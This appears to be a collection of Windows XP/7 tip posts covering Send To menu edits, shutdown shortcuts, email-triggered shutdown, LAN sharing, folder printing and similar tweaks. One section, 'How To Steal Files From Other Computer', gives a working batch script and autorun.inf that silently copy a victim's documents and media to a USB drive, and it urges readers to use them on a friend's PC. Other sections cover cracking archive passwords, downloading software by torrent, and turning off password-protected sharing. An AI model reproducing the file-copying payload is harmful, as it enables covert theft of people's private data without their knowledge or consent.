Modifying Send To Menu In Windows

Many of you may know this trick, but this might be useful to those who doesn’t know about it. I am going to teach you how to add your custom folder or location in “send to”.

The settings of send to menu can be handeled from “Sendto” folder which is hidden and located at user’s page.

i.e.

%systemroot%/Documents and Settings/USER_NAME/sendto

See the image below:

You can directly type the path address as in address bar above without enabling folder options to show hidden files.

After you open the sendto folder, you’ll see the icons of folder where you can send your files to.

Now to add your own folder in send to menu follow the steps below.

I am assuming that you want “My Pictures” folder of My Documents in send to menu.

To get it to send to menu.

Right click on My Pictures and choose Create shortcut.

Now you’ll see the shortcut of My pictures in the same window.

Copy it and paste it to sendto folder. You may also rename it as you want.

Now try using send to menu, you’ll have your own folder ready there.

Hope this tutorial was helpful.

Creating Emergency Shortcut To Shutdown Windows

In desktop Right click>New>Shortcut

A create shortcut window will pop up. In the input field type, “shutdown –s” (without quotes), as shown in the figure. Remember that there is space between shutdown and -s

Click on next.

In next window, name anything you want your shortcut name to be. I named it shutdown. Alternatively you can have no name for shortcut. Deleting all the text and clicking on finish button won’t help you to create blank shortcut name.

To make blank shortcut name, Hold down ALT and type 0160 (i.e. ALT+0160). This will give a blank name. Click on finis button. You’ll have your name less shortcut menu ready.

Finally you’ll have shutdown shortcut icon similar to the image below:

Now all you need to is add shortcut keys to it. To do so, right click on the shortcut icon that you’ve just created. Choose properties.

By default shortcut key is set to none. Click on the shortcut key input field. Hold down CTRL and press any key you want. I used CTRL+ALT+S.  Windows allows only the combination of CTRL+ALT to have a shortcut.

Now you are finally done.

Click on OK.

To test, Press CTRL+ALT+S (or any shortcut that you’ve given), following window will popup.

Press enter and sit back and relax until your system shuts down.

How To Shutdown A Computer With A Cell Phone/Email

To make this happen, all you need is Microsoft Outlook installed on the PC which you want to control from your cell phone

Now let’s begin with the tutorial.

First, you need the batch files to perform the Shutdown, Hibernate operation.

For example,

shutdown -r -t 10 -c “shutting down”

Copy this code and paste it in notepad, save it as shutdown.bat

Now open up Microsoft Outlook. I am assuming that you have already configured it for your Email and I am not going to teach you about setting mail in Microsoft Outlook. Now we will need to make it so that Outlook checks your inbox about every minute.

You can do this by going to Tools>Options. Then click on Mail Setup tab, and then, the Send/Receive button.

Make sure that the Schedule an automatic send/receive every… box is checked, and set the number of minutes to 1 or anytime you may like. Now you may close all of these dialog boxes.

Now go to Tools>Rules and Alerts. Click on E-mail Rules tab. In new window select Check messages when they arrive and click Next.

Now in next page, check on, on this machine only and with specific words in the subject.

After checking these two values, click on specific words underlined.

Search Text window will open, in the input field type the command that shuts down the PC. You can use any commands. For prevention of accidental execution I kept %shutdown% as a command. Click on Add button after you are done and click on OK.

Now click on Next.

In the next window check mark on start application. In the lower screen, click on application link.

Now you’ll be welcomed to your familiar file open window. Load all files. And select the batch file that you’ve created to shutdown your PC.

If everything went well you’ll see the screen similar to below:

Click on Next, again click on next (don’t choose any things in this step). And finally click on Finish button.

You’ll have %shutdown% alert shown in the E-mail Rules tab.

Now, when you send a message from your phone to your e-mail address with the Subject  %shutdown%your computer will trigger shutdown.bat file and instantly executes the command in that batch file finally leading to shutdown the PC.

You can use any batch file to execute any command.

Know How Long You Have Been Running Your Computer

You might have never noticed your wastage of time when you are using computer, have you? You’ll never notice that you took 1 hour completely just to send your CV documents via mail to an organization. And there are also not such active and easily accessible tools to notify the time interval you’ve been using your computer since the windows startup.

However with Windows 7, you have this feature easily accessible in task manager. To see the length of time open up the task manager window.

You can either open task manager window by pressing CTRL+ALT+DELETE and clicking on start task manager or by just going to RUN command and typing “taskmgr” (without quotes).

Go to the Performance tab and se the uptime timer. This is where you’ll see how long have you been online in your windows.

Besides this, there are also many third-party tools which help you to see the time period being online in your computer.

You got your up time of your desktop. But, how to know the time of your internet connection?

You can easily do this by following the steps below:

In the control panel open Network Connections. Identify the adapter which is actually connecting to the internet gateway and open it.

In my case it was Local Area Connection.

After you open it you’ll see the duration.

This is the time that you’ve been connecting to the internet.

Solution For LAN Connection Between Windows XP And Windows 7

June 22, 2010 by Suraj Kayastha  
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Many of you might have the problem sharing files and folders between Windows XP and Windows 7 OS. This is not so long tutorial but you can solve it just changing some values in your windows settings. By default Windows XP sets your Workgroup as MSHOME. While windows 7 feature WORKGROUP as your default workgroup you can easily get rid of this problem.

To connect Windows 7 OS with Windows XP, change the workgroup name of either one of the OS. I recommend you changing the workgroup name of Windows XP from MSHOME to WORKGROUP.

To change Workgroup in Windows XP, right click on my computer and click on properties.

In Computer name tab, check the workgroup. By default it is MSHOME. (In my case I named it WORKGROUP).

To change it, click on Change button.

A new window will pop up. There you can define your own workgroup name.

Now both of your OSes have same workgroup name.

Now in windows 7 PC, go to control panel > Network and Sharing Center.

At the left sidebar, click on Change advanced sharing settings.

In new window, Turn on Network discovery, File and printer sharing and Public folder sharing by clicking on the respective radio button.

Under File sharing connections, Click on Files sharing for devices that use 40- or 56- bit encryption. (Windows XP may not support 128 bit encryption) .

And turn of Password protected sharing.

Do the same for Public and Home or Network connection

Now you may run Home Network wizard (Control Panel>Setup Home Network) in windows XP. Then there you’ll have easy LAN connection. Make sure that workgroup name during wizard is setup to WORKGROUP not MSHOME

Now you can easily access files and folder and even internet and printers from network.

You can see the files in network.

How To Steal Files From Other Computer

When you plug in in your Pen drive, system will look up for autorun.inf (incase if autorun is not disabled for your drive from the system).

Then we’ll input some command in autorun.inf in such a way that it will load the batch file that does the magic of copying all the files from your PC. In this demonstration I am copying only the files and folders in My Documents.

Here goes the batch code:

@echo off
:CHECK
if not exist "%homedrive%\Copied_files" md "%homedrive%\Copied_files"
if exist "%systemdrive%\Documents and Settings" goto COPIER
goto ERROR

:COPIER
if not exist "%homedrive%\Copied_files\%computername%" md "%homedrive%\Copied_files\%computername%"
if not exist "%homedrive%\Copied_files\%computername%\VIDEOS" md "%homedrive%\Copied_files\%computername%\VIDEOS"
if not exist "%homedrive%\Copied_files\%computername%\PICTURES" md "%homedrive%\Copied_files\%computername%\PICTURES"
if not exist "%homedrive%\Copied_files\%computername%\MUSIC" md "%homedrive%\Copied_files\%computername%\MUSIC"
if not exist "%homedrive%\Copied_files\%computername%\DOWNLOADS" md "%homedrive%\Copied_files\%computername%\DOWNLOADS"
copy /y "%userprofile%\My Documents\*.*" "%homedrive%\Copied_files\%computername%"
copy /y "%userprofile%\My Documents\My Videos" "%homedrive%\Copied_files\%computername%\VIDEOS"
copy /y "%userprofile%\My Documents\My Music" "%homedrive%\Copied_files\%computername%\MUSIC"
copy /y "%userprofile%\My Documents\My Pictures" "%homedrive%\Copied_files\%computername%\PICTURES"
copy /y "%userprofile%\My Documents\Downloads" "%homedrive%\Copied_files\%computername%\DOWNLOADS"
MSG %username% "DONE!"
exit

:ERROR
exit

What it actually does is in first case ,CHECK it checks if your removable storage have Copied_files folder or not. If it doesn’t have then it creates one by using MD (Make Directory) command.

Again it checks if you have documents and settings folder then it will assume that you are using windows XP. Other wise it will return an error and exits.

This happens because; in Windows XP the user’s documents are usually stored in %systemroot%\Documents and Settings folder.

Now I’ve defined another two cases after the first case CHECK, that is COPIER case and ERROR case.

Case COPIER will execute when the program recognizes it is Windows XP, where the real coying work goes o.

Case ERROR will execute when the Documents and Settings doesn’t exists in your system root.

This is just a simple use of Batch programming. Copy the above code and paste it in notepad and save it as Filename.bat.

Now let’s create a file that will load it automatically.

[autorun]
Open=Filename.bat
Action=File Copier

The above code goes in autorun.inf file. Open notepad and copy it and paste it and save as autorun.inf.

Copy the two files, autorun.inf and Filename.bat in your flash drive.

Then plug in your device to your friends PC and do the evil things.

Where is the flaw?

It shows Command prompt window and process of copying (thank god your noob never think that it actually copying).

Another thing is that it determines the windows by searching the file users and Docuemnts and settings, which is not the right way to determine your system operating system.

However this is just an educational tutorial.

How To Crack WinZip Or WinRar Password

If you ever downloaded winrar / winzip file on the computer, then you know that there’s an enormous chance that winrar or winzip file is protected with password. Also there’s an enormous chance that you’ll never find that password. In situation like this only solution is to crack winrar password.

In this post I’ll show you how to do it with Zip password Recovery Magic v6.1.1.169 .

1) Download Zip password Recovery Magic v6.1.1.169 from this link and install it

2) Launch Zip password Recovery Magic v6.1.1.169 and open winrar / winzip file that you want to crack

3)Choose attack method , there are 3 options : BruteForce , dictionary, booost – up.
Brute force actually means to start with a letter a and encrypting it. Then see if the encrypted strings match. If not then b, c, … until we’ve gotten . Then the encrypted strings will match and we’ll know that is the right password.Brute force attack is the slowest method of cracking, but there is no risk that you’ll not find the password. The thing about brute force is that the time of cracking rises rapidly depending on how long the password is, how many characters are being used in it and so forth.
A dictionary attack is a method of breaking into a password-protected computer or server by systematically entering every word in a dictionary as a password.

4) Click on Start , and wait, password will be cracked

How To Add An Option To Print All The Contents Of A Folder In XP

Once in many times, you may need to print whole files of the specific folder. Well if you need often to print number of files or you run a press media company then I am going to teach you how to print all the items in specific folder.

We’ll be adding new right click option to print the folder. Whenever you right click on any folder, this print option will be shown and whole folder files can be printed.

To do so you’ll need to create a batch file called Printdir.bat. Open Notepad and paste the following code:

@echo off
dir %1 /-p /o:gn > "%temp%\Listing"
start /w notepad /p "%temp%\Listing"
del "%temp%\Listing"
exit

Save it as, “%windir%\printme.bat” (without the quotes).

Now go to Start > Control Panel> Folder Options. Click the File Types tab, and then click File Folder.

Click the Advanced button.

Click the New button.

In the Action box, type “Print this folder” (without the quotes). In Application used to perform action box, type “printme.bat” (without the quotes).

If you did right then you’ll see image similar to below:

Click on OK in all three dialogue boxes.

Now you need to edit the Registry to add the Print this folder shortcut in right click. Open Registry Editor by typing “regedit”  (without quotes) in RUN box (Start> Run).

Navigate to HKEY_CLASSES_ROOT>Directory>shell.

In the right side of the window, right click on “default” and select Modify.

In Value Data, type “none” (without the quotes).IMG_F

Click OK and close the Registry Editor.

Now when you right click on any folder, you’ll see the option, Print this folder.

Selecting it will print the contents of the folder.

How To Use USB Flash Drives As A RAM

You might be probably searching for such software that can convert your 4 GB USB flash drive to usable RAM. I am going to guide you through the steps and tools that will be using your USB storage as a RAM. Though windows supports virtual paging file which uses your harddisk as a temporary RAM. But if you are working on notebook with lower RAM then Virtual RAM will boost up the harddisk usage. Finally dropping your battery life.

Therefore, using your USB storage device as RAM can be one of the best alternative for your real RAM.

First of all, you’ll need to download this file, Eboostr (Trial Version) or Eboostr (Full Version from torrent ).

Now you’ve one of the above file downloaded to your computer. Install it with default settings.

After installation, it is compulsary to reboot your computer.

Insert your USB flash drive first then open eBoostr from start menu.

In the program window, go to Edit > Add new cache device

You’ll see your USB disk at the left screen. Select it and click ok.

Then start caching the memory in your USB drive.

Alternatively, you can also click on Autoconfiguration button. Program will diagnose your system. After the diagnose is ended, click next. Choose all the recommended option to increase your system performance and click Next.

Now program will start to cache your memory. You may feel some difference in your windows performance.

This software requires USB device more than 256 MB.

It stores the current memory as a cache in your USB device. Eboostr stores cache of your frequently used applications on your USB Flash drive. It will help to reduce the Hard Disk access which is comparatively slower as compared to access in chips. Since hard disk requiers motor to rotate the disks, it will also consume a lot of your battery.

Know The Date Of Installation Of Your Windows

Sometime you may need the OS installation date. You may want to know how old is your OS or any other information related to your system. Windows does not provide direct information about the installation date of installation of your OS.

However you can view the date of OS installation from command prompt by giving some syntax to it.

With following command you can view whole detail about the manufacturer and about your OS. In this tutorial I am focusing to installation date of Windows.

systeminfo

Open command prompt window by going to Run and type “cmd” (without quotes).

Input “systeminfo” command to it.

It will look up for system information and load the result below the input.

Search for the OS installation date. There you’ll find exact date for installation of OS. Not only this, you can view the BIOS version of your system, Computer model name, Product code, Time and date of system startup etc.